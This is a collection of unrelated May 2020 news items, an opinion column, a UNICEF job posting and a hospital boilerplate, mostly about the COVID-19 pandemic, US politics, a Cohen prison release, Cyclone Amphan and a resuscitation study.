Brigham Health, a global leader in creating a healthier world, consists of Brigham and Women's Hospital, Brigham and Women's Faulkner Hospital, the Brigham and Women's Physicians Organization and many related facilities and programs. With more than 1,000 inpatient beds, approximately 60,000 inpatient stays and 1.7 million outpatient encounters annually, Brigham Health's 1,200 physicians provide expert care in virtually every medical and surgical specialty to patients locally, regionally and around the world. An international leader in basic, clinical and translational research, Brigham Health has nearly 5,000 scientists, including physician-investigators, renowned biomedical researchers and faculty supported by over $700 million in funding. The Brigham's medical preeminence dates back to 1832, and now, with 19,000 employees, that rich history is the foundation for its commitment to research, innovation, and community. Boston-based Brigham and Women's Hospital is a teaching affiliate of Harvard Medical School and dedicated to educating and training the next generation of health care professionals. For more information, resources, and to follow us on social media, please visit brighamandwomens.org.
Guns N Roses has scrapped its summer tour plans including a scheduled Boston date.

The Rock Hall of Fame groups long-running Not In This Lifetime reunion tour, which began in 2016, was slated for a stop at Fenway Park on July 21.

The group posted on its social media outlets that the tour was being postponed out of an abundance of caution due to the coronavirus pandemic.

The band is working on new dates and all tickets will be honored. Fans looking for a refund should go to livenation.com/refund.

Shop for concert tickets here: StubHub, SeatGeek, Ticketmaster.
A sudden shift in support for Donald Trump among religious conservatives is triggering alarm bells inside his reelection campaign, where top aides have long banked on expanding the presidents evangelical base as a key part of their strategy for victory this November.

The anxiety over Trumps standing with the Christian right surfaced after a pair of surveys by reputable outfits earlier this month found waning confidence in the administrations coronavirus response among key religious groups, with a staggering decline in the presidents favorability among white evangelicals and white Catholics. Both are crucial constituencies that supported Trump by wide margins in 2016 and could sink his reelection prospects if their turnout shrinks this fall.

The polls paint a bleak picture for Trump, who has counted on broadening his religious support by at least a few percentage points to compensate for weakened appeal with women and suburban populations. One GOP official said the dip in the presidents evangelical support also appeared in internal party polling, but disputed the notion that it had caused panic. Another person close to the campaign described an April survey by the Public Religion Research Institute, which showed a double-digit decline in Trumps favorability among white evangelicals (-11), white Catholics (-12) and white mainline protestants (-18) from the previous month, as pretty concerning.

To safeguard his relationship with religious conservatives, Trump on Friday demanded that Americas governors permit houses of worship to immediately reopen, and threatened to override state leaders who decline to obey his directive. The announcement  which came days after the Centers for Disease Control and Prevention omitted religious institutions in new guidance about industry reopenings  featured clear appeals to white evangelicals, many of whom have long supported Trump's socially conservative agenda.

Some governors have deemed liquor stores and abortion clinics as essential, but have left out churches and other houses of worship. It's not right. So, I'm correcting this injustice and calling houses of worship essential, Trump said.

Story continues

Some allies have taken it upon themselves to warn donors and grassroots volunteers not to fret about Trumps softened support among religious conservatives, downplaying its significance on his overall shot at a second term.

I did a number of briefings with donors and key stakeholders and said the longer this goes on, theres going to be a perceptible and predictable float-down once you get past the initial rally-around-the-flag upswing, said Ralph Reed, a top Trump surrogate and director of the Faith and Freedom Coalition.

Now youre in this trough and what voters are going to do is theyre going to wait and render a verdict once theyve assessed the job President Trump has done to bring the economy back into recovery coming out of the pandemic, he added.

Following the PRRI survey, which was conducted while Trump was a dominant presence at televised daily briefings by his administration's coronavirus task force, Pew Research Center released new data last week that showed a 7-point increase from April to May in white Catholics who disapprove of Trumps response to the Covid-19 crisis and a 6-point decline among white evangelicals who previously gave him positive marks.

Trump campaign aides, White House officials and outside allies are responding to the threat by boosting their outreach to religious voters and promising to prioritize religious gatherings as they push to reopen the U.S. economy. Administration officials have conducted multiple calls with conservative Christian groups to ensure their support over the past two months. Trump himself recently attended an online worship service hosted by St. Patricks Cathedral in New York. And Vice President Mike Pence held a roundtable with faith leaders in Iowa earlier this month. Reed said his organization is planning a get-out-the-vote campaign three times as large as its effort in 2016.

The presidents reelection operation will engage the Christian community nationwide to overwhelmingly reelect President Trump in 2020, Trump campaign spokesman Ken Farnaso said in a statement.

In addition to his extraordinary record on conservative and faith-based issues, he has appointed well over 180 solid, conservative federal judges  defended religious freedoms and has stood as the most pro-life president weve ever had, Farnaso added.

On Thursday, Trump also floated a potential move by his administration to reopen houses of worship in the near future.

The churches are not being treated with respect by a lot of Democratic governors, Trump said as he left the White House to visit a ventilator factory in Michigan. I want to get our churches open. We will take a very strong position on that very soon.

Some Trump allies have attributed the recent slump in the presidents support to the closure of churches that Trump addressed on Friday. Social-distancing guidelines forced most churches to suspend in-person worship or move Sunday services into the virtual sphere, and one member of the Trump campaigns Evangelicals for Trump coalition suggested that faith leaders and parishioners who have been frustrated by the limitations are mistakenly blaming Trump. (Religious institutions in Kentucky, Texas, Virginia, Tennessee, Louisiana and California have all brought legal challenges against their states for restrictions on religious activities and gatherings.)

Those who dont understand the legalities of the process could be blaming the president or the administration when the federal government is dealing with states rights issues, said Mark Burns, a South Carolina pastor and prominent Trump supporter.

It was not immediately clear whether the president's order on Friday  that state and local officials must take immediate action to reopen religious institutions  was legally permissible, nor was it clear how administration officials planned to enforce the guidance.

Guidelines released this week by the Centers for Disease Control and Prevention about reopening certain establishments  including schools, public transit systems and child care facilities  did not mention how religious institutions should go about returning to in-person worship services and ministry opportunities. One senior administration official said the guidance was omitted due to concerns that the prescriptions CDC staffers planned to provide were too restrictive.

Its unlikely that critics of church closings alone are responsible for the decline in Trumps favorability among critical religious demographics. According to the Pew survey, 43 percent of white evangelicals and 52 percent of white Catholics think the current restrictions on public activity in their areas are appropriate versus 42 percent and 31 percent, respectively, who think fewer restrictions would be better. Greater shares of white evangelicals and white Catholics also said they are more afraid about their state governments lifting restrictions on public activity too soon than they are about leaving the restrictions in place for too long.

As the coronavirus-related death toll approaches 100,000 and outbreaks emerge in locations where social distancing is more difficult, Laura Gifford, a historian of politics and religion at George Fox University, said its likely become harder for the presidents supporters to embrace his plans for an accelerated reopening of the country. The more Trump contradicts health officials who have warned against reopening schools and nonessential businesses, she suggested, the less accepting his usual supporters might become of his overall response.

If grandmas retirement home is suffering from an outbreak, theres pretty good evidence that something is awry and it makes it difficult to ignore what public health experts are saying, Gifford said. This is something where that is harder to ignore than previous controversies or crises because it has life-and-death consequences for congregations and religious populations.

Part of the strategy Trump allies have adopted to protect his relationship with conservative Christians is to frame the novel coronavirus  and church closures in response to social distancing restrictions  as a threat to religious freedom. The presidents religious supporters routinely cite religious liberty as one of their top priorities and an area in which they believe the Trump administration has been exceptionally receptive.

Speaking about the impact public activity limitations have had on houses of worship, Pence told conservative radio host Hugh Hewitt earlier this month that the liberties enshrined in the Constitution still apply to every American, even in the middle of a national emergency.

The Justice Department has also gotten involved. In a letter sent Tuesday to California Gov. Gavin Newsom, department officials warned the prominent Democrat that his measures to relax social-distancing guidelines in the Golden State cannot discriminate against religious groups and institutions.

Simply put, there is no pandemic exception to the U.S. Constitution and its Bill of Rights, wrote Assistant Attorney General Eric Dreiband, who accused Newsom of showing unequal treatment of faith communities by preventing them from reopening while other businesses were given the green light.

But the religious freedom framing might not matter if the economy remains in free fall through the November election, even after churches are permitted to reopen and conservative outside groups ramp up their outreach to religious voters.

Burns, the Trump-supporting pastor, said he and others who are screaming from the mountaintop for America to reopen still realize significant obstacles lie ahead.

This is a challenge for everybody, he said. The president definitely has an uphill battle.
When the federal government recommended closing down much economic and social activity, and nearly all governors obliged by issuing shutdown orders that were more or less comprehensive, there was an explicit and coherent rationale: the shutdowns were needed to flatten the curve, to spread out the time during which the coronavirus would be active so that hospitals would not be overcrowded by a sudden onset of critically ill patients. That rationale was coherent, but it turned out to be wrong. Almost everywhere, the predicted crush never materialized and hospital capacity went untaxed.

Our governors could have declared victory and lifted their shutdown orders, but they didnt. Ever since, as my colleague Kathy Kersten put it in the Star Tribune, the shutdowns have been a tactic in search of a strategy.

Robert Skidelsky, a member of Britains House of Lords and Professor Emeritus of Political Economy at Warwick University, addresses this issue in an essay titled The Unspoken Reason for Lockdowns. The essay covers a lot of territory and is well worth reading in its entirety, but I want to focus on his conclusion:

Today, epidemiologists cannot tell us what the effects of the current COVID-19 policy mix will be. We will know only in a year or so, they say. The outcome will therefore depend on politics. And the politics of COVID-19 are clear enough: governments could not risk the natural spread of infection, and thought it too complicated or politically fraught to try to isolate only those most at risk of severe illness or death, namely the 15-20% of the population aged over 65. The default policy response has been to slow the spread of natural immunity until a vaccine can be developed. What flattening the curve really means is spacing out the number of expected deaths over a period long enough for medical facilities to cope and a vaccine to kick in. But this strategy has a terrible weakness: governments cannot keep their populations locked down until a vaccine arrives. Apart from anything else, the economic cost would be unthinkable. So, they have to ease the lockdown gradually. Doing this, however, lifts the cap on non-exposure gained from the lockdown. That is why no government has an explicit exit strategy: what political leaders call the controlled easing of lockdowns actually means controlled progress toward herd immunity. Governments cannot openly avow this, because that would amount to admitting that herd immunity is the objective. And it is not yet even known whether and for how long infection confers immunity. Much better, then, to pursue this goal silently, under a cloud of obfuscation, and hope that a vaccine arrives before most of the population is infected.

Emphasis added. I think Skidelsky is right, and governments across the Western world are engaged in an elaborate charade in which the real strategy they are pursuingif there is oneis never truthfully disclosed. Governors in the U.S. say they are lifting restrictions when it is safe to do so. But how is it safe? The virus hasnt gone away, and it isnt going to go away.

I would only add that if Skidelsky wants to see a real cloud of obfuscation, he should come to Minnesota and listen to Governor Tim Walz blather incoherently through his frequent press conferences.
The overall number of cases has reached 2,522

Mayor of Kyiv Vitaliy Klitschko slovoidilo.ua

The number of Kyiv residents, diagnosed with coronavirus, has increased by 47 over the last 24 hours. A total of 2,522 cases of coronavirus have been reported in Ukraine's capital. This was announced by Kyiv Mayor Vitaliy Klitschko during a briefing that was broadcasted by 112 Ukraine TV channel.

It is reported that one person died from Covid-19 last night. A total of 58 fatalities have been recorded during the entire period.

16 Kyivites were hospitalized. The rest are treated in self-isolation under the supervision of doctors.

Thus, among patients are: 22 women aged 19 to 86 years; 23 men aged 19 to 76 and two boys aged 9 and 10.

As we reported earlier, another 442 cases of infection with Covid-19 were observed in Ukraine on May 21: the overall number of infected people has reached 20,148 people.

As of 9 a.m. on May 22, there are 588 lethal cases in Ukraine. 6,585 patients have successfully recovered.

Currently, Chernivtsi region (2,905), Kyiv (2,522) and Kyiv region (1,344) come first in terms of the largest number of patients.
Education Specialist, Basra, Iraq

Organization: UNICEF - United Nations Childrens Fund

Country: Iraq

Field location: Basra, Iraq

Office: UNICEF Basra, Iraq

Closing date: Sunday, 7 June 2020

Education Specialist, P-3, Basra, Iraq, # 112356

Job no: 531650

Position type: Fixed Term Appointment

Location: Iraq Division/Equivalent: Amman(MENA)

School/Unit: Iraq

Department/Office: Zone Office South, Basrah, Iraq

Categories: P-3

UNICEF works in some of the worlds toughest places, to reach the worlds most disadvantaged children. To save their lives. To defend their rights. To help them fulfill their full potential.

Across 190 countries and territories, we work for every child, everywhere, every day, to build a better world for everyone.

And we never give up.

For every child, education

The fundamental mission of UNICEF is to promote the rights of every child, everywhere, in everything the organization does - in programmes, in advocacy and in operations. The equity strategy, emphasizing the most disadvantaged and excluded children and families, translates this commitment to childrens rights into action.

In Iraq, education sector faces some persistent challenges which are mainly due to the prolonged cycles of conflict in the country and multiple waves of internally displaced that people have hampered progress. The 2018 MICS findings show that overall, although access to education remains high at primary school level with net enrolment at 91.6 per cent, other indicators show persistent challenges to make education equitably accessible at all levels of schooling and for all groups of children. Access to quality education remains a challenge for children affected by conflict. According to the Humanitarian Needs Overview (HNO 2019) there are 2.6 million children who require support to access education. Resources for education are inadequate and many schools need to be built and rehabilitated to overcome the issue of overcrowded classrooms and multiple shifts.

Beyond the immediate issue of improving access to education, Iraq needs to improve the quality of education provision and ensure it is relevant to differing needs of learners and demands of the society and economy. Teachers lack capacity and are not motivated, and children are dropping out before they complete basic education. Only 44 per cent complete primary education and 35 per cent do not complete at all and many children do not transition to secondary school with Net Enrolment Rate (NER) of 41.4 per cent in 2014. The reasons for drop out are many but in constructing the education system the psychosocial needs of children, most of whom have grown up faced with unabated insecurity, has to be given serious consideration in order to keep such children in school and performing well.

The government of Iraq has expressed its interest in pursuing the transformational objectives of Sustainable Development Goal, ensuring inclusive, equitable and quality education and promoting lifelong learning opportunities for all. Building on the work of the humanitarian response and previous and ongoing development action, the focus is on the development of institutional and professional capacity of the Ministry of Education to respond to the challenges of achieving inclusive, equitable and quality education. While rebuilding the education system in Iraq is a long-term developmental agenda, it is critical, at this important moment, to lay grounds by building the capacity on MoE including at the decentralized governorate level to enhance the quality of education services delivery.

Click on the Link to see our video

UNICEF is committed to diversity and inclusion within its workforce, and encourages all candidates, irrespective of gender, nationality, religious and ethnic backgrounds, including persons living with disabilities, to apply to become a part of the organization.

How can you make a difference?

As the Education Specialist under the guidance and supervision of the Chief of Field Office: You will support the development and preparation of the Education programme be responsible for managing, implementing, monitoring, evaluating and reporting the progress of education programmes in the South Field Office. It will include programming to address education in emergencies, better preparedness and considering humanitarian-development nexus. Also, you will be responsible for providing technical guidance and management support throughout the programming processes to facilitate the administration and achievement of results on education programmes/projects to improve learning outcomes and equitable and inclusive education, especially for children who are marginalized, disadvantaged and excluded in society. Furthermore, you will contribute to achievement of results according to plans, allocation, results based-management approaches and methodology (RBM), as well as UNICEFs Strategic Plans, standards of performance, and accountability framework.

Summary of key functions/accountabilities:

Support to programme development and planning

Programme management, monitoring and delivery of results

Technical and operational support to programme implementation

Networking and partnership building

Innovation, knowledge management and capacity building

To qualify as a champion for every child you will have..

Education: An advanced university degree in one of the following fields is required: education, economics, psychology, sociology, or another relevant technical field. A first University Degree in a relevant field combined with 2 additional years of professional experience may be accepted in lieu of an Advanced University Degree

Experience: A minimum of five years of professional experience in programme planning, management, and/or research in education is required. Experience in programming for education in humanitarian or complex emergencies/fragile context, and programming for humanitarian-development transition. Experience working in a developing country is considered as an asset. Relevant experience in a UN system agency or organization is considered as an asset.

Language Requirements: Fluency in English is required. Knowledge of another official UN language or local language of the duty station is considered as an asset.

For every Child, you demonstrate ..

The competencies required for this post are: Core Values

Care

Respect

Tags basic education complex emergencies education in emergencies humanitarian response internally displaced knowledge management primary education programme implementation programme management programme planning psychosocial quality education sustainable development

Integrity

Trust

Accountability

Core competencies

Communication (II)

Working with people (II)

Drive for results (II)

Functional Competencies:

Leading and supervising (I)

Formulating strategies and concepts (II)

Analyzing (III)

Relating and networking (II)

Deciding and Initiating action (II)

Applying technical expertise (III)

View our competency framework at

http://www.unicef.org/about/employ/files/UNICEF_Competencies.pdf

Remarks

Only shortlisted candidates will be contacted and advance to the next stage of the selection process.

Candidates found suitable in this selection process but not appointed to this post will be retained in UNICEF Iraqs talent group for a period of 36 months for future similar career opportunities

UNICEF has a zero-tolerance policy on conduct that is incompatible with the aims and objectives of the United Nations and UNICEF, including sexual exploitation and abuse, sexual harassment, abuse of authority and discrimination. UNICEF also adheres to strict child safeguarding principles. All selected candidates will, therefore, undergo rigorous reference and background checks, and will be expected to adhere to these standards and principles.

Advertised: May 18 2020 Arabic Standard Time Application close: Jun 07 2020 Arabic Standard Time
London, May 22 : Anyone arriving in the UK from abroad could be fined 1,000 pounds if they fail to self-isolate for 14 days, the government is expected to announce on Friday.

Under the plans, health officials would be able to carry out spot checks to check whether people were complying, the BBC reported.

The new rules, which will also apply to British people returning from abroad, are not expected to come into force until next month.

Home Secretary Priti Patel will give more details at the daily briefing later in the day.

As part of the plans, which are aimed at guarding against a second wave of coronavirus infections, any passengers arriving in the UK by plane, ferry or train would need to provide UK Border Force officials with an address where they will self-isolate, otherwise accommodation will be arranged by the government.

Road hauliers and medical officials would be exempt, as well as those arriving from the Republic of Ireland.

However, people travelling from France will not be exempt, the government has previously confirmed, after it was initially suggested otherwise.

Airlines have already warned quarantine measures could make an already critical situation worse for them, as air travel has plummeted by as much as 99 per cent due to the pandemic, the BBC reported.

But Number 10 had previously said the measure would be reviewed every three weeks once it is introduced.

The government currently recommends international travel only when absolutely necessary, and nobody should travel if they display any coronavirus symptoms.

On Thursday, easyJet said it will resume some flights on June 15, with all passengers and cabin crew told to wear face masks.

The initial schedule will include domestic routes across the UK and France.
You are here: China

China resolutely opposes negative China-related bills proposed by some members of the U.S. Congress on the COVID-19 epidemic, said spokesperson for the third session of the 13th National People's Congress Thursday.

China will firmly respond and take countermeasures according to the deliberation of the bills, spokesperson Zhang Yesui told a press conference.

Zhang said the accusations against China in the bills are groundless, seriously violating international laws and the basic norms of international relations.

He said China never accepts any unwarranted lawsuit or demand for compensation.

"Tracing the source of COVID-19 is a serious scientific issue, which should be explored by scientists and medical experts, and scientific judgments should be made based on facts and evidence," Zhang said.

"It is irresponsible and immoral to cover up their own problems by shifting responsibilities," he added.
Egypt said on Thursday it is always ready for talks with Sudan and Ethiopia over the Grand Ethiopian Renaissance Dam (GERD) after the announcement by Khartoum and Addis Ababa that they are willing to resume technical discussions, the Egyptian foreign ministry said in a short statement.

The Egyptian foreign ministry stressed on the importance that the upcoming meeting between the ministers of irrigations should be "serious and constructive" to contribute to a fair, balanced and comprehensive agreement that would preserve Egypts water rights and the interests of both Sudan and Ethiopia.

Earlier Thursday, Prime minister of Sudan Abdalla Hamdok and Prime Minister of Ethiopia Abiy Ahmed held an online meeting and agreed to resume the talks between the ministers of irrigation in the three countries in order to reach for a final agreement on the filing and operation policies of the GERD.

During the online session, Sudanese and Ethiopian officials agreed on the importance of resuming the talks to complete "the easy part left of the negotiations on the filing and operations of the Grand Ethiopian Renaissance Dam according to what was agreed in Washington."

The negotiations between the three countries reached a deadlock last February after Ethiopia skipped the final round of talks in Washington leading to a diplomatic war of words between Cairo and Addis Ababa that reached the UN Security Council.

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President Donald Trump's former attorney and fixer Michael Cohen has spoken out for the first time since coming home early from prison due to the coronavirus outbreak.

Cohen made his first remarks in a tweet Thursday. 'I am so glad to be home and back with my family' he tweeted just after noon.

The disgraced attorney disclosed that he is planning to speak out.

'There is so much I want to say and intend to say,' he wrote. However, he adds, 'Now is not the right time. Soon,' and offers thanks to his supporters.

President Donald Trump's former attorney and fixer Michael Cohen has spoken out for the first time since coming home early from prison due to the coronavirus outbreak

Cohen made his first remarks (pictured) in a tweet Thursday. 'I am so glad to be home and back with my family' he tweeted just after noon. The disgraced attorney disclosed that he is planning to speak out, but not at the moment

Cohen has confided in people who visited him including, actor Tom Arnold, that he is writing a book about Trump.

The attorney had been freed from federal prison just before 9am Thursday to serve the remainder of his sentence at home.

Cohen had been serving a federal prison sentence at FCI Otisville in New York after pleading guilty to numerous charges, including campaign finance fraud and lying to Congress. He was seen leaving the low-security prison in a silver Mercedes A-class sedan driven by his son Jake. He was not wearing a mask and was wearing a crisp white shirt with French cuffs and no tie.

Later Cohen was seen arriving at his Manhattan apartment, wearing a University of Miami cap and a mask. His personal items, including a box clearly marked 'Legal Documents', were brought in on a luggage cart and carried in by his son Jake.

The onetime-fixer was released on furlough with the expectation that he will transition to home confinement to serve the remainder of his sentence at home. Cohen, 53, began serving his sentence last May and was scheduled to be released from prison in November 2021.

He had pleaded guilty to a series of offenses, including breaking campaign finance law by paying 'hush money' to Stormy Daniels to keep her alleged affair with Donald Trump secret.

Michael Cohen was seen arriving at his Manhattan apartment after his release from federal prison on Thursday

The former fixer wore a University of Miami cap and a mask as he was seen walking into his apartment

Cohen's personal items were brought into his Manhattan apartment on a luggage cart. One box was clearly marked 'Michael Cohen - Legal Documents'

Cohen's son, Jake Ross Cohen, picked up his father from prison and was seen helping to carry his father's personal items into their apartment

Cohen, 53, began serving his sentence last May and was scheduled to be released from prison in November 2021

Freedom: Michael Cohen left Otisville federal prison just after 9 am Thursday, ending just over a year behind bars

Family reunion: Michael Cohen's son Jake picked him up from the prison in his silver Mercedes

Prison advocates and congressional leaders have been pressing the Justice Department for weeks to release at-risk inmates ahead of a potential outbreak, arguing that the public health guidance to stay 6 feet away from other people is nearly impossible behind bars.

Attorney General William Barr ordered the Bureau of Prisons in March and April to increase the use of home confinement and expedite the release of eligible high-risk inmates, beginning at three prisons identified as coronavirus hot spots. Otisville is not one of those facilities.

Cohen was told last month he would be released to serve the rest of his three-year sentence at home in response to concerns about coronavirus. He had told associates he was expecting to be released earlier this month.

The Bureau of Prisons has placed him on furlough as it continues to process a move to home confinement, the person familiar with the matter said. The agency has the authority to release inmates on furlough for up to 30 days and has been doing so to make sure suitable inmates, who are expected to transition to home confinement, can be moved out of correctional facilities sooner, the person said.

Smartly dressed: Michael Cohen was wearing a crisp white shirt with French cuffs as he left Otisville headed for New York City

Federal guard: Michael Cohen was driven away from Otisville watched by a federal correctional officer. He is on furlough from prison for now but his sentence is expected to be converted to home detention soon

Out: Michael Cohen walked free from Otisville federal prison in upstate New York one year and 15 days after reporting for custody from his apartment (pictured)

Old boss: Michael Cohen has been writing a book about his time with Trump while behind bars, he has confided - which could include a tell-all on his dealings with Stormy Daniels which put him there

A federal judge had denied Cohen's attempt for an early release to home confinement after serving 10 months in prison and said in a ruling earlier this month that it 'appears to be just another effort to inject himself into the news cycle.'

But the Bureau of Prisons can take action to move him to home confinement without a judicial order.

The Bureau of Prisons said last week that more than 2,400 inmates had been moved to home confinement since Barr first issued his memo on home confinement in late March, and 1,200 others had been approved and were expected to be released in the coming weeks.

Other high-profile inmates have also been released as the number of coronavirus cases soars in the federal prison system.

Former Trump campaign chairman Paul Manafort was released on home confinement last week. Michael Avenatti, the attorney who rose to fame representing porn star Stormy Daniels in lawsuits against Trump, was temporarily freed from a federal jail in New York City and is staying at a friends house in Los Angeles.

Former New York state Senate leader Dean Skelos, 72, who was also serving a sentence at Otisville, was released on home confinement after testing positive for the coronavirus.

Last month it emerged he has been writing a book while behind bars.

'He told me he's been writing a book and he's pissed. He told me he is going to spill the beans. What has he got to lose now?' comedian-and-actor Tom Arnold told The Daily Beast.

Comedian Tom Arnold (right) said: 'He told me he's been writing a book and he's pissed. He told me he is going to spill the beans. What has he got to lose now?'

Cohen had told the publication in February 2018 that he was shopping a book and had interest from publishers including Hachette.

At the time the book was tentatively titled, Trump Revolution: From The Tower to The White House, Understanding Donald J. Trump.

But in December 2018 he was ordered to spend three years in federal prison and in February 2019 he was disbarred. He reported to federal detention on May 6, 2019.

In March 2019 Trump tweeted his acknowledgement of Cohen writing an expose.

'Wow, just revealed that Michael Cohen wrote a 'love letter to Trump' manuscript for a new book that he was pushing,' POTUS posted on social media. 'Written and submitted long after Charlottesville and Helsinki, his phony reasons for going rogue. Book is exact opposite of his fake testimony, which now is a lie!'

Arnold added that Trump has been expecting Cohen to release a book.

Now Cohen is being let out early alongside dozens of other inmates, the release could be sooner than Trump anticipated.

'It's like Jawsyou don't see Jaws very much, but you hear the music, and for Trump he knows Michael is coming and Trump better hear the Jaws music,' Arnold said.

'For 12 years, Michael cleaned up everything for Trump and his family. Stormy Daniels was a tiny moment in that. There's so much more that will come out in the book.'

He believes it will be a 'bestseller'.

Another person close to Cohen told the publication that the expose was a long time coming.

'He has been using his time wisely inside to write a book and no one should be surprised as he's always talked about writing a book,' the source told The Daily Beast.

'Michael's stories about Trump are incredible. He has saved a lot of them for when the time is right and the time is now right.

'Michael spent a long time with Trumphe is going to go into everything and he's not going to hold anything back. He has paid his dues and he's pissed he had to go to jail for this.'

More than a year ago after Cohen's sentencing, Trump tweeted about knowledge of him shopping a book

Cohen tried to get his sentence reduced in March but a judge shut him down. Now due to COVID-19 he and many other prisoners will be released from the Federal Correctional Facility in Otisville, New York (pictured)

Sources suggest he will have no problem shopping the book and publishers have estimated Cohen could get hundreds of thousands for it.

'He was bragging he was going to have a one-hour television show on ABC and he said he would be like the Count of Monte Cristo and come back and get Trump,' one of Cohen's fellow inmates told The Daily Beast.

Cohen's attorney, Roger Bennet Adler, declined to comment to the publication.

Cohen began serving his sentence last May and was scheduled to be released from prison in November 2021.

Cohen tried to get his sentence reduced in March but a judge shut him down.

'That Cohen would seek to single himself out for release to home confinement appears to be just another effort to inject himself into the news cycle,' U.S. District Judge William H. Pauley III wrote then.

'Ten months into his prison term, it's time that Cohen accept the consequences of his criminal convictions for serious crimes that had far reaching institutional harms.'
 Flash

The U.S. Senate on Thursday confirmed President Donald Trump's pick Congressman John Ratcliffe from Texas as the next director of national intelligence (DNI).

Senators voted 49-44 on Ratcliffe's nomination, largely along party lines. Republicans hold 53 seats in the Senate.

Ahead of Thursday's vote, Senate Majority Leader Mitch McConnell praised Ratcliffe while Senate Minority Leader Charles Schumer vowed to oppose his nomination.

"Today, we'll confirm the next director of national intelligence. John Ratcliffe will lead the Intelligence Community in countering threats from great powers, rogue nations, and terrorists - and ensuring that work is untainted by political bias," McConnell said.

In comparison, Schumer said that Ratcliffe has "not demonstrated the qualities for the independence that we should expect."

"It requires someone with unimpeachable integrity, deep experience and the independence and backbone to speak truth to power. That's what DNIs, including the previous one, Dan Coats, did. Unfortunately, Mr. Ratcliffe doesn't even come close to meeting that high bar," Schumer added.

A The Hill report said Ratcliffe's confirmation was the most political vote that has occurred for the DNI position, which has traditionally been viewed as an apolitical position. Coats was confirmed 85-12 for the post in 2017. James Clapper, his Senate-confirmed predecessor, was confirmed by a voice vote.

Ratcliffe, 54, was nominated again by Trump in February to be the nation's spy chief, several months after the Texas Republican's first nomination was withdrawn amid bipartisan concerns about his qualification.

Trump picked Ratcliffe as new chief of national intelligence on July 28, four days after Robert Mueller testified before the House Judiciary Committee, when the Republican fiercely questioned the former special counsel over his two-year investigation into the alleged Russian interference in the 2016 U.S. presidential election, and Trump's possible obstruction of justice.

First elected to the U.S. Congress, Ratcliffe sits on the House judiciary and intelligence committees. As a frequent Trump's defender, he has been viewed as one of the most conservative members of Congress based on his voting record. He was also a member of Trump's impeachment defense team.

The DNI position has been filled in an acting capacity since Coats stepped down in August 2019 after a tenure in which he conflicted with the White House on a number of national security issues.

The DNI is a cabinet-level official in the U.S. government that serves as the head of the 17-member United States Intelligence Community, a group of separate intelligence agencies and subordinate organizations engaging in intelligence activities that support U.S. foreign policy and national security. The role was created in the wake of the terrorist attacks on Sept. 11, 2001.
Kolkata: West Bengal Chief Minister Mamata Banerjee will hold the first administrative meeting with Prime Minister Narendra Modi at Bashirhat College in South 24-Parganas district on Friday to discuss the devastation caused by cyclone Amphan.

Later, she will conduct an hour-long aerial survey with PM Modi from Rajarhat in North 24-Parganas to Pathar Pratima in South 24-Parganas districts, areas worst affected by the cyclone.

The meeting assumes significance as the West Bengal chief minister has been a strong critic of the Modi government at the Centre. Notably, during Cyclone Bulbul which had hit the state in 2019, she had refused PM Modis call to attend a meeting to discuss the calamity.

This is prime ministers first official trip outside Delhi since the lockdown necessitated by the coronavirus pandemic was announced. PM Modi agreed to visit West Bengal after CM Mamata requested him to inspect the affected areas and witness the damage caused, which she claimed was to the tune of Rs 1 lakh crore.

After West Bengal, PM PM Modi will conduct an aerial survey of cyclone-affected parts in Odisha.

Speaking to mediapersons at Netaji Subhash Chandra Bose International Airport, Mamata said, I am waiting for our prime minister. We will hold an aerial survey of the affected areas. There are states which are governed by different political parties but I think in a federal structure, we should work together and the relationship should be maintained. West Bengal is passing through its worst phase. Cyclone Amphan added more problems at a time when we are already struggling with coronavirus.

She said that cyclone has claimed the lives of 80 people and over six lakh have been evacuated.

"More than 6 crore people have been directly affected. It is more than a national disaster. The timing and intensity of the cyclone was dangerous. Its radius was 450 km. I have never seen such cyclone in my life.

After the aerial survey at around 11.30-11.45am the two will hold a review meeting to discuss Amphan and its devastation, Banerjee added.

BJP's state vice president Chandra Bose welcomed Banerjee's gesture and tweeted, This is great news. Finally, politics is being kept aside and welfare of the people takes priority. I have been voicing the need for this for months as we fight Covid-19."

After her meeting with PM Modi, Mamata Banerjee will be attending the opposition parties virtual meet convened by the Congress to discuss the Covid-19 situation in the country.

The meeting will be chaired by Congress president Sonia Gandhi and

nearly 17 opposition parties have agreed to participate in the meeting

which will be held via videoconferencing.
DALLAS, May 22, 2020 -- It's inappropriate to consider blanket do-not-resuscitate orders for COVID-19 patients because adequate data is not yet available on U.S. survival rates for in-hospital resuscitation of COVID-19 patients and data from China may not relate to U.S. patients, according to a new article published today in Circulation: Cardiovascular Quality and Outcomes, an American Heart Association journal.

There is a presumption that COVID-19 patients have a low survival rate after resuscitation, based on a recent study from Wuhan, China, that found an overall survival of 2.9% in 136 COVID-19 patients who underwent cardiopulmonary resuscitation for in-hospital cardiac arrest. However, that prognosis should not be applied to the U.S., said Saket Girotra, M.D., S.M., assistant professor of medicine in the division of cardiovascular diseases at the University of Iowa Carver College of Medicine, on behalf of the American Heart Association's Get With The Guidelines-Resuscitation (GWTG-R) investigators.

In the study, "Survival After In-Hospital Cardiac Arrest In Critically Ill Patients: Implications For Covid-19 Outbreak?," investigators report data from the GWTG-R registry of in-hospital cardiac arrest patients. They examined data from 2014-2018 on patients similar to the COVID-19 population: 5,690 adult patients who underwent CPR for in-hospital cardiac arrest while being treated in an intensive care unit (ICU) for pneumonia or sepsis and were receiving mechanical ventilation at the time of cardiac arrest.

While researchers noted an overall survival rate of only 12.5% in the U.S. simulation, there were many variables that could affect survival and neurologic outcomes. The probability of survival without severe neurological disability ranged from less than 3% to more than 22%, across key patient subgroups. The probability of mild to no disability ranged from about 1% to 17% across key patient subgroups.

While survival rates were low in older and sicker patients in whom the initial heart rhythm was non-shockable, survival rates were much higher (more than 20%) in younger patients with an initial shockable rhythm who were not being treated with vasopressor medications prior to the cardiac arrest. Vasopressor medications are generally used to improve blood pressure and cardiac output in emergency situations such as septic shock or cardiac arrest.

"Such large variation in survival rates suggests that a blanket prescription of do-not-resuscitate orders in patients with COVID-19 may be unwarranted. Such a blanket policy also ignores the fact that early experience of the pandemic in the U.S. reveals that a about a quarter of COVID-19 patients are younger than 50 years of age and otherwise healthy. Cardiac arrest in such patients will likely have a different prognosis," the researchers said.

The article concludes that "... in a cohort of critically ill patients on mechanical ventilation, survival outcomes following in-hospital resuscitation were not uniformly poor. These data may help guide discussions between patients, providers and hospital leaders in discussing appropriate use of resuscitation for COVID-19 patients."

